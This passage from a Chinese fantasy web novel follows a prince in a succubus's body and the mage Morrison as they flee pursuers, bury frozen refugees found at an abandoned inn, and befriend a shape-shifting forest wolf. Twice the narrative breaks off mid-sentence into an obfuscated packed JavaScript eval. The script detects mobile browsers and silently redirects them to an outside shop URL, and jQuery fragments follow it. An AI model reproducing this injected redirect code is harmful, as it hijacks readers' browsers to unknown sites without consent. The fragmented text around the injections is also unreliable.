姜楚韫愣了愣,第一反应是对方要牵他逃跑,迟疑地把手搭上去,对方却反手握住他的手腕,另一只手的指尖伸向他礼服的口袋。 微凉的指尖隔着薄薄的衣料擦过腰侧皮肤,姜楚韫身体轻轻一颤,感受着对方手指拿取东西的动作——宝石被一颗不落地取了出来。 莫里森的掌心覆在上面,宝石便消失了,姜楚韫知道这是被他收进空间戒指里了。 口袋变得空落落的。 姜楚韫说:“我们走吧。” 莫里森盯着他看了几秒。 忽然,他再次开口:“伸手。” 姜楚韫心想,这次总归是要逃跑了吧,便听话地伸出手,随即冰凉的触感圈在手指上。 莫里森看着掌心那只手。 少年的手比他小了一圈,手指纤细秀气,指甲圆润整齐,可惜带着淡淡的苍白。 他依旧没什么表情,垂眼将银圈戒指套上姜楚韫的尾指,尺寸明显大了,松松地滑到指根,直到换到拇指,这枚戒指才堪堪卡住。 莫里森给戒指注入一丝魔力。 “我改变了这枚戒指的魔力构造,现在只要你集中精神,就可以从空间里面拿东西。” 姜楚韫眼神一亮,正想道谢。 拍卖会场传来巨大的爆炸声响。 “结界被炸开了。”莫里森面色不变,熟练地抱起他,“走吧,他们很快就会发现里面没人。” 姜楚韫不再多言,两人迅速朝着原计划的方向躲避追兵,才走出不到二十里,身后就传来了急促的马蹄声,声音从多个方向包抄而来。 莫里森似乎对地形极其熟悉,抱着姜楚韫不断变换方向,几次甩开附近的追兵,风像刀似的刮过姜楚韫的脸,他紧紧缩在莫里森怀里。 风声里夹杂着魔力碰撞的声音。 有好几次,姜楚韫都能感觉到魔力擦着他的身体掠过,落在不远处的树上爆炸开来。 不知道过了多久。 直到天边泛起鱼肚白,身后紧追不舍的士兵终于确定追不上他们,选择了撤退。 莫里森感知了一下周围的环境,确定所有追兵都走了,这才把抱了一路的姜楚韫放下。 之前在牢房时,姜楚韫总因为猜不透莫里森的心思感到害怕,现在情况不同,在这种生死关头,男人这种高深莫测的强大反而让他安心。 姜楚韫忍不住邪恶地想。 幸好当初努力勾引莫里森了。 莫里森转过头,看见姜楚韫的表情,就知道他心里肯定又在乱七八糟地想些什么了。 这只魅魔思维总是很活跃。 距离城镇还有很远一段距离,虽然莫里森可以连续几天几夜不睡觉,但看着姜楚韫疲惫的样子,还是决定先找地方休息一晚上。 那些追兵今天撤退以后,第二批人一时半会也不会这么早来……这只魅魔总是病恹恹的,要是累了饿了,说不定会生病,那就麻烦了。 莫里森感知了一下附近。 “前面不远有旅馆,你可以先休息一晚,等明天从那里借两匹马再出发。” 说完,他顿了顿:“你会骑马吗?” 姜楚韫不语,只是眨眨眼看着他。 莫里森:“……” “那就借一匹马。” 姜楚韫点头:“嗯嗯。” 他开心地晃了晃尾巴。 莫里森脸色古怪地转身,大步走在前面带路,姜楚韫则乖乖巧巧地跟在后面。 一开始他还有心思踩着莫里森的脚印走,后面对方越走越快,他不得不小跑才能跟上。 姜楚韫埋头猛猛跟着走。 忽然,脑袋撞上了什么。 姜楚韫以为是自己走昏头了撞到墙了,抬起头一看,原来是撞到了莫里森的后背。 怎么有人背和墙一样硬啊…… 姜楚韫嘀嘀咕咕地揉着脑袋往前走,没注意到身边的莫里森盯着门,若有所思地眯起眼。 姜楚韫走到门前,忽然一愣。 下一刻,他脸色骤变,莫里森也立刻将他护到身后,当机立断抽出挂在身侧的长剑。 门缝里透出的血腥味扑面而来。 不知道得死多少人才会这样。 室内静悄悄的,没人说话。 姜楚韫眉心皱起,从莫里森身后走到虚掩的门口,伸出手用力地推开了门。 推门时感觉到了一股阻力,进门后才发现,拦住门的是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224355|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具已经开始腐烂的尸体。 不仅如此,环顾整间旅馆。 ……到处都是围绕蚊蝇的尸体。 姜楚韫刚往前走了一步,就被莫里森挡住,同时听见他声音沉沉地说:“别过去。” 姜楚韫疑惑:“怎么了?” “那些死人的样子会吓到你。” 昏暗的环境让姜楚韫没在第一时间看清那些尸体的样子,但他觉得自己应该不会被吓到。 毕竟已经在会场那见了很多尸体。 莫里森侧开身子,站到一旁。 尽管姜楚韫已经做了心理准备,但真正看清那些尸体的惨状,还是忍不住呼吸一滞。 地上零零碎碎散落着很多东西。 姜楚韫原本以为那些是散落的杂物,现在才看清,那些是从尸体里流出来的内脏。 姜楚韫喉咙发紧:“这是……” “之前天冷,森林里受冻的野狗会咬开还带着余温的尸体的肚子,钻进里面取暖。” 姜楚韫的脸色霎时就白了。 “那这些人是怎么死的……” 莫里森淡淡道:“冻死的。” 姜楚韫屏住呼吸观察尸体。 空气中弥漫着尸体的腐臭。 现在是春初,但从尸体的腐烂程度来看,他们死的时候,应该是在冬天那几个月。 姜楚韫微微皱眉。 但奇怪的是,地上那些横七竖八倒着的尸体,每个都只穿着单薄的衣物。 像是看穿了他的疑惑,莫里森极轻微地扯了一下嘴角:“之前那些奴隶贩子抓了那么多人,你以为看守发给他们的冬衣是从哪来的?” 姜楚韫心底发寒。 他拉住莫里森冰冷的手指,“他们为什么会这么明目张胆?难道没人管吗?” 他不是何不食肉糜,曾经他也跟着父皇便装出宫去了解百姓的生活,虽然也不是所有人都衣食无忧,但也远不会糟糕到这种程度。 明明这个世界有远超他从前认知的魔法能力,为什么看着反而更加落后可怖? “你从前到底生活在什么地方?”莫里森轻笑一声,“就算你是出生在费奥洛的皇室,从小养尊处优,也不会被养得这么天真吧?” 莫里森反手握住他的手,力道有些重:“这世道都已经乱到平民需要逃难,皇室会和奴隶贩子合作了,你居然还觉得这种事很奇怪?” 这句话像一盆冷水。 姜楚韫仓促后退一步,垂下眼,看起来已经陷入混乱了,他低声说:“我知道了……” 莫里森知道这个不知道哪来的小少爷还需要一点时间才能想通,便先上旅馆的二楼,检查那些没被破坏的房间还有没有能住人的。 有几个房间里躺着死法各异的尸体,莫里森冷笑一声,用魔法把这些房间的门锁死。 检查完以后,莫里森回到姜楚韫身边,后者脸色依旧苍白,但眼神冷静多了,没等他说明检查到情况,姜楚韫就主动握住他的手腕。 莫里森忍不住挑眉。 这么快就想通了? 要跑、要离开、还是…… 姜楚韫的声音和眼神一样坚定。 “莫里森,你教我魔法好不好?” 莫里森一愣,但不意外。 “你的确该学魔法自保了。” 莫里森知道这只魅魔肯定被吓得不轻,能想到要学魔法自保,已经算是难得了。 那就从最简单的…… 姜楚韫声音很轻:“不是。” 莫里森眉心微皱:“什么?” “不是的。”姜楚韫却轻轻摇了摇头,“我想用魔法挖一个很大的墓坑,把他们都埋进去。” 莫里森闻言怔住,脸上的表情变了又变,似乎是想嘲笑他的天真,但他习以为常的轻蔑却显得有些古怪,最后只是意味不明地笑了一声。 “哈……” “你可真是……” 11. 魔力 莫里森觉得姜楚韫的家人如果不是爱极了他,那就是恨极了他……故意把他养得这么天真,等他到了外面,只会被人欺负得很惨。 “不是所有人都能使用魔法。”莫里森声音恢复了平日的冷淡,“大部分人天生体内就没有魔力,就算你是魅魔,身体里的魔力也不多。” 姜楚韫只关心一点。 “那我还能挖墓坑吗?” “你倒不如先关心自己能不能释放出魔力。”莫里森伸出手,指尖泛起极淡的白金色光晕,悬停在姜楚韫的眉心前,“放松,别抗拒。” 姜楚韫依言闭上眼。 他能感觉到一股存在感极强的力量强行挤进了身体里,沿着身体的某处游走。 这股力量每次在身体里冲撞,都会带起一阵令人皮肤发麻的电流感,他本能地抗拒这股霸道的魔力入侵,所以表情看起来很不舒服。 片刻后,莫里森收回手。 姜楚韫睁开眼:“有魔力吗?” 莫里森言简意赅。 “你的情况很奇怪。” 姜楚韫歪头:“奇怪?” 莫里森皱起眉:“我完全感知不到你的魔力,就像你这具身体不是魔族一样。” 姜楚韫心虚地摸了摸鼻子。 “……哎呀。” 因为出逃成功,他太松懈了,差点忘了现在这具身体就是他自己的,只是不知道因为什么原因,出现了魅魔的特征而已。 “试一试就知道有没有魔力了。”姜楚韫连忙岔开话题,“你先教我好不好?” 千万不能被别人发现他是异世界的人,不能再被抓了,他以后还要找办法回家呢。 莫里森侧目看着,没有说话。 他看出对方有所隐瞒,但不在乎。 没必要知道对方太多事情。 现在有追兵追杀没时间,但等到了教廷,姜楚韫帮他恢复记忆,他们就会分道扬镳。 莫里森嘴里吟诵出一串咒文。 “这是感知魔法,你试着念一遍。” 按照正常情况,他应该先判断姜楚韫的魔力属性,再根据具体情况教相应的魔法,但他们没有那么多时间,所以他很快确定教学方案。 直接开始学魔法咒文就行。 如果姜楚韫有才能,不需要基础也可以,如果没有才能,他也没有必要特意去教了。 姜楚韫跟着磕绊地念了一遍咒文。 等了几秒,莫里森问:“感知到什么了?” 姜楚韫老实诚恳地回答。 “我感知到你有点不耐烦了。” 莫里森:“……没有。” “才刚开始,你继续吧。” 作为一个魔法老师,莫里森无疑知识渊博,但他的教学方法却实在不怎么样。 姜楚韫没有任何魔法世界的常识,一旦莫里森稍微不注意,说出一些超出他认知的东西,他就会装得好像感悟出了什么,开始瞎蒙。 莫里森:“魔力涌动是什么感觉?” 姜楚韫猜:“……冷冷的……?” 莫里森:“冷?” 姜楚韫:“其实热热的。” 莫里森:“热?” 姜楚韫:“难道没感觉?” 莫里森深吸一口气。 “瞎猜的答案不要说。” 姜楚韫略带尴尬地看着他。 “好吧,那我没什么要说的了。” 莫里森:“……” 察觉到老师耐心即将告罄。 姜楚韫深吸一口气,闭上眼睛,将全部意识沉入体内,努力去捕捉感知外界的信息。 忽然,意识海泛起细微的波澜。 一圈圈的魔力荡漾出去,扩散开来。 还来不及等姜楚韫去感知什么,荡漾出去的魔力圈就如水花一般,骤然炸散在四周。 失败了。 姜楚韫眼中掠过一丝沮丧,长长的睫毛垂下,让他看起来更加落寞了。 莫里森盯着那双黯淡的眼睛,没有太大意外,他本来就不觉得姜楚韫能学会魔法。 “好了,不要再……” “簌簌——” 背后传来响动。 莫里森的绿眸瞬间锐利,他几乎是不假思索地侧身,将姜楚韫挡在身后。 姜楚韫也听到了沉重的脚步声,伴随着粗重的喘息,像大型动物正踩踏落叶靠近。 模糊的影子终于清晰。 那是一只体型硕大的成年森林狼,灰褐色的皮毛上沾了干涸的血,眼睛幽幽发亮。 莫里森眯起眼,一只中等魔兽还算不上威胁,但森林狼怎么会突然靠近他们? 不过,杀了就是。 莫里森的掌心已经聚起一团危险的魔力,眼见着要释放,忽然被姜楚韫拦住。 “等一下,它好像……” 姜楚韫话还没说完,那只外形凶猛的森林狼就在他们的注视下,自然到甚至带着点迫不及待地原地一滚,四脚朝天地露出了柔软的肚皮。 它的舌头耷拉出来一点,呼呼喘着气,那条大尾巴还讨好似的,“砰砰砰”拍打地面。 “嗷呜~嗷呜——” 莫里森:“?” 他困惑地皱起眉,姜楚韫则从他身后探出脑袋,好奇地看着地上的狼皮毛毯。 森林狼见他看过来,尾巴拍打得更欢快了,喉咙里发出绵软的呼噜声,甚至还扭了扭桶一样的腰身,将毛茸茸的肚皮更彻底地暴露出来。 姜楚韫的脑子有点转不过来。 过了会,森林狼翻过身,甩了甩脑袋,迈着矜持的步伐绕过莫里森,一下扑倒姜楚韫。 像一只喜欢亲近人类的大狗。 姜楚韫试探着伸出手,主动摸了摸它硕大的脑袋,指尖陷入厚实的皮毛里。 狼的喉咙里发出享受的呼噜声,仰头吐出热烘烘的舌头,热情地舔上了他的掌心。 舌头上带着倒刺,姜楚韫手缩了一下,森林狼反而凑得更近了,巨大的头颅低下来。 它亲昵地蹭着姜楚韫的手臂、肩膀,还用鼻子去碰他白皙的脸颊,粗重的呼吸带着热气喷在他的颈侧,蓬松的尾巴几乎要摇出残影。 姜楚韫苍白的面颊被蹭出浅浅的红痕,几缕黑发被狼毛勾得凌乱,礼服上沾满了泥土和草屑,脸上也有不知是口水还是露水的水痕。 姜楚韫看向莫里森,用眼神询问他知不知道这是怎么回事,后者神色莫测地盯了他一会,忽然走上前,单手抓住狼颈,把它拽开。 刚刚还和狗一样乖巧的森林狼立刻呲牙,喉咙里滚动着低沉且充满威胁的低吼声。 姜楚韫安抚地伸手摸了摸。 森林狼凶狠的低吼声戛然而止。 “嗷呜~嗷呜——” 听起来还带着点委屈。 莫里森说:“应该是你的魔法招来的,你的魔力很奇 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莫里森还没来得及给出回应,一直守在旁边的森林狼就像是听懂了姜楚韫这句话,突然“嗷呜”一声,伏低前身,埋头开始猛猛刨坑。 泥土飞溅,弄得两人满身都是。 莫里森的脸色更难看了,他掌心瞬间聚起一团金色的魔力,随后朝前方轰然打了出去。 泥土被炸得如雨一般四溅。 姜楚韫心一咯噔。 他生怕莫里森把那些小动物都弄死了,连忙抬头看去,只看见一个巨大的坑。 ——比森林狼刨的坑大很多倍。 莫里森淡淡耻笑一声,极尽嘲讽。 姜楚韫不知道莫里森在嘲讽什么。 总不能在和没开灵智的狼较劲吧? 魔力带来的气浪虽然没有伤到那些动物,但也让一些体型较小的被掀飞在地。 姜楚韫走过去挨个把四脚朝天的动物扶正,它们本就胆小,刚起来就吓得四窜逃跑。 姜楚韫略带埋怨地看着莫里森。 后者依然表情无所谓,姜楚韫也不和他多纠结,转身走进室内,准备搬运那些尸体。 莫里森用魔法就能瞬间将这些尸体都转移进土坑里,但这次他没有帮忙。 他甚至有些恶劣地想,说不定在搬尸的时候,姜楚韫就会被那些尸体吓到了。 不过这次他又猜错了。 姜楚韫只在最初被尸臭搞得干呕了两下,呕完还很不好意思地对尸体说了句抱歉。 土坑就在门口,但因为尸体太多,姜楚韫搬起来很费力,幸好后面森林狼看出他在干什么,也摇摇尾巴主动加进来帮忙,一下省力不少。 一直到黄昏时,才全都搬完。 姜楚韫把尸体都埋了起来。 莫里森倚在树上,静静地看他。 “死都死了,收尸有什么用?” 因为战乱,这些难民从北方逃难过来,从皇室到奴隶贩子都没把他们当人,死了这么久,才遇到一个笨得要死的魅魔愿意为他们收尸。 姜楚韫的眼神澄澈,映着朦胧的落日,“这样他们就不会变成孤魂野鬼啦。” 莫里森觉得他很幼稚。 “你还相信这世界上有鬼?” 姜楚韫朝他眨眨眼。 “这世界上真的有鬼魂哦。” 我就是。 哼。 12. 信任 在太阳彻底落山之前,姜楚韫抓住最后一点时间练习魔法,虽然学习进度依然为零,但也不是毫无收获,至少他肩膀上落了一排麻雀。 姜楚韫用指腹挨个戳了戳它们毛茸茸的脑袋,忍不住思考自己这个能力有什么用。 难道是可以和动物沟通吗? 这么想着,他回头看了眼,确定莫里森不在身后,便小声学着麻雀“啾啾”叫了两声。 麻雀脑袋一歪,在他肩膀上跳了跳。 随后叽叽喳喳地扑棱着翅膀飞走了。 姜楚韫故作淡定地清了清嗓子。 好吧,看来这个能力不是这么用的。 太阳彻底落山了。 夜晚的森林有些冷。 姜楚韫对着掌心哈了口气,紧接着转身进了旅馆,二楼只有一间房是亮着光的,他有些好奇别的房间里是什么,伸手推了推,大多都上锁了。 姜楚韫没有多想。 他继续朝光亮里走。 房间里空无一人,倒是桌上站着几只松鼠,它们一鼠手里抱着一个红彤彤的苹果,见到姜楚韫进来,吱吱叫着放下苹果,从窗户离开。 姜楚韫在心里感谢小松鼠的馈赠,随后拿起一个苹果,开始小口小口慢慢啃着。 吃完苹果,莫里森还没回来。 姜楚韫神色隐隐有些焦急,虽然困得一直在打哈欠,眼睛都快睁不开了,就是不睡。 房间里的烛光不算明亮。 姜楚韫坐在桌边,双手撑着下巴,脑袋一点一点地打瞌睡,看起来可怜兮兮的。 莫里森一回来就看见这一幕。 他心中微动,难道是在等他回…… 半梦半醒的姜楚韫看见莫里森的身影,瞬间清醒,步伐急切走到他的身边。 姜楚韫困意朦胧地说:“快对我用清洁魔法,我不想身上脏兮兮的上床睡觉……” 莫里森闻言,瞬间面无表情。 清洁魔法很简单,几秒就能解决。 确认衣服上沾到的血和泥都被清理干净以后,姜楚韫如释重负,靠本能头重脚轻地爬上床,几乎脑袋刚沾上床,意识就开始模糊了。 他还不忘强撑着意识对莫里森说:“如果你要上床的话,记得把自己也弄干净哦。” 困得声音都开始含糊了。 莫里森深深地吸了一口气。 他简直要被这只魅魔气笑了,就在他准备转身离开时,身后忽然又传来少年的声音。 “……莫里森,等一下。” 莫里森面无表情地回头。 床上没有枕头,姜楚韫早早把莫里森给他的那件袍子叠了叠,叠成了一个小枕头。 垫在脑袋下刚好合适。 房间里摇晃的烛光蒙在姜楚韫身上,他喜欢趴在床上睡觉,下半张脸埋进带着淡淡草木气息的袍领里,只露出一双困得水光潋滟的杏眼。 少年的调子困得软软的。 “如果不是你,我昨天真的不知道该怎么办才好,虽然你好凶……但谢谢你救了我哦。” 说完这句话,他的呼吸变得均匀而绵长,安然酣睡的模样像是无比信任身边的人。 莫里森垂眸盯着床上的人。 良久,他轻嗤一声,声音依旧不近人情,“明明是互相利用,说什么谢谢。” 这么说着,却也没有离开。 后半夜,皎皎明月照进屋内。 莫里森坐在桌边,静守了一夜。 * 第二天,姜楚韫早早醒来。 两人商量了下接下来的行程。 因为姜楚韫的体力很差,稍微走久一点就会累得气喘吁吁,为了节约时间,再加上被追兵追杀,之前一路上基本上都是莫里森抱着他。 莫里森眸光淡淡,“你接下来……” 姜楚韫猜到他想说什么,得意地说:“接下来不需要麻烦你抱我了,我自己可以的!” 莫里森没说话,明显不信。 “真的。”姜楚韫认真道,“接下来我可以让小白……就是昨天那只狼,让它带着我。” 莫里森静静盯了他几秒。 随后不在乎道:“随便你。” 闻言,姜楚韫自信地屈起食指抵在嘴唇上,学着记忆中皇兄吹鹰哨的样子,自认为非常帅气地吹了一个略有些漏风但无伤大雅的哨声。 森林狼欢快地从树丛后蹦了出来。 昨天它的身上还带着血污和土块,今天上面的脏污全都没有了,皮毛还有点湿乎乎的。 姜楚韫惊喜地揉揉它的下巴。 “哇,小白你洗澡啦,真乖。” 森林狼咧了咧嘴,露出獠牙。 莫里森瞥了一眼就收回视线,淡淡地说:“这是魔狼,又对主人呲牙,你也敢坐?” 森林狼急得上蹿下跳。 “嗷呜呜呜呜呜呜呜……” 姜楚韫立刻为它打抱不平,“小白这是在对我笑,小白乖着呢,你不要污蔑它呀。” 莫里森哼笑一声,不置可否。 森林狼足足有两人高,它低下脑袋,方便姜楚韫扒着它的耳朵,爬到它的背上坐着。 因为小白的脑袋比他想象中还要大一点,姜楚韫双手只能揪着它的一只耳朵。 “我们快点出发吧。” 两人一狼朝城镇的方向出发。 小白跑得很快,像是要故意甩开莫里森,莫里森只觉得幼稚,用魔法不紧不慢地跟着。 姜楚韫紧紧抓着小白耳后的皮毛,生怕自己会被甩出去,等了一会才发现,自己没感觉到一点风力,低头一看,身上泛着淡淡的金色。 姜楚韫立刻扭头看向旁边的莫里森,眯起眼笑了笑:“莫里森,你人怎么这么好呀?” 莫里森没有回应他。 男人的脸色是冷漠的,话是不回应的,保护姜楚韫灵力也是一秒都没断过的。 原本要走一天的路程,硬生生被缩减到了半天,临到城镇入口时,姜楚韫拍拍小白的脑袋,温和地说:“小白,在这里停下吧。” 小白听话地停下脚步,“嗷呜?” 姜楚韫脸上带着歉色:“我们昨天不是说好了吗……抱歉呀,我不能带你一起进去的。” 凶狠的狼眼被小白努力瞪圆,试图展现出可怜无害的样,它觉得主人一定会心软。 可惜姜楚韫这次不为所动,只是揉揉它委屈的大狗脸,“等我这的事解决了再来找你。” 就连莫里森都意外。 “你不是很喜欢这只狼吗?” 姜楚韫责怪地看他一眼。 小白还在这呢,怎么和你说! 小白期待的狼耳瞬间耷拉下来,委屈的眼珠里满满都写着,妈咪,狼崽是外人吗? “我喜欢小白,所以我相信它不会伤害我,但我没能力保证它面对那些居民时也不会发生意外,因为喜欢就把它带进去,这很不负责。” 姜楚韫不舍地摸摸狼脑。 而且他也很担心城镇里会有别的魔法师,如果他们误会小白,伤到它就不好了。 小白:“嗷呜呜呜……” 虽然一人一狼都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224357|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些伤感,但也有人情绪愉悦许多,莫里森勾了勾唇:“快走吧。” 姜楚韫很是不舍。 他抱住低下狼头对他撒娇的小白,“如果你再小一点,我就能把你带进去了。” 小白:“嗷呜呜呜汪汪汪汪……” 姜楚韫还在依依不舍地抱着它告别。 最开始姜楚韫只是感觉怀里抱着的狼头怎么突然变小了,本来张开双臂都抱不住,紧接着才反应过来,小白的叫声是不是有点不对劲? 他低头一看。 姜楚韫:“天哪。” 小白怎么变成狗了! 姜楚韫懵了好一会,看向莫里森,发现对方的脸上也露出诧异,便扭头看着小白。 “小白,你怎么回事?” 小白不知道怎么回事。 小白只会朝他汪汪叫。 “汪”了一会,因为体型缩小,脑仁也一并缩小的小白这才察觉到不对劲,被自己的叫声吓了一大跳,越害怕越大叫,一时间汪汪声不断。 莫里森:“吵死了,闭嘴。” 小白直接跳起来要咬他。 莫里森一只手就挡开了。 姜楚韫犹豫了一下。 总不能是我干的吧? 小白现在的体型和普通野狼差不多,长相狼里狗气的,不过没原形那么凶厉了。 姜楚韫迟疑了一会,试探着说。 “小白,能变成我手掌这么大吗?” 正在扑咬莫里森的小白身体肉眼可见的又缩小了一圈,虽然咬到了人,但小小的牙齿只咬住了衣服,叼着布料挂在那,像个挂件似的。 姜楚韫:“……!” 真的是我干的! 小白:“…………” 也不汪了,也不咬了。 莫里森怜悯地捏住小白后颈皮,把它提着往姜楚韫的怀里一放:“看好你的狗。” 看到小白萎靡的样子,姜楚韫蹲下来,将它揽进怀里:“对不起小白,我也没想到会这样,你要是想变回原样,就在我手上抓一下。” 小白一听就急了,对着姜楚韫又舔又蹭,还从他身上跳下来,焦急地对着城镇蹦蹦哒哒。 姜楚韫笑了,明知故问。 “小白,什么意思呀?” 没等小白再给出反应,莫里森深吸一口气,率先开口:“姜楚韫,你不会改变主意了吧。” 要带这只烦人的魔狼进去? 小白一听就要跳起来咬他。 姜楚韫伸手捞住跳到半空的小白。 他蹲在地上,抱起小白,举起怀里小狗的前爪冲莫里森晃了晃:“你不觉得它很可爱吗?” 本来对着莫里森呲牙咧嘴的狗瞬间开始装可爱,夹着嗓子开始汪汪叫。 小白身上沾了泥巴水,尾巴尖一晃一晃,把泥水也蹭到了姜楚韫的脸和衣服上。 姜楚韫脸上也变得脏兮兮的,莫里森看着他,忽然觉得地上好像蹲着两只脏兮兮的小狗。 嘴里拒绝的话忽然说不出来了。 “你如果要带它进去……” 话音顿住,莫里森双目微睁。 姜楚韫第一次见到他这么失态的表情,正准备嘲笑,忽然感觉唇上湿漉漉的,下意识伸手抹了一下,发现是从鼻子里流出来的血。 他表情怔住。 “这是……” 嘴巴刚张开,喉咙里就涌起一股温热的液体,呛得他剧烈地咳嗽起来,眼前发黑。 他连一句话都没说完。 忽然朝后一摔,晕了过去。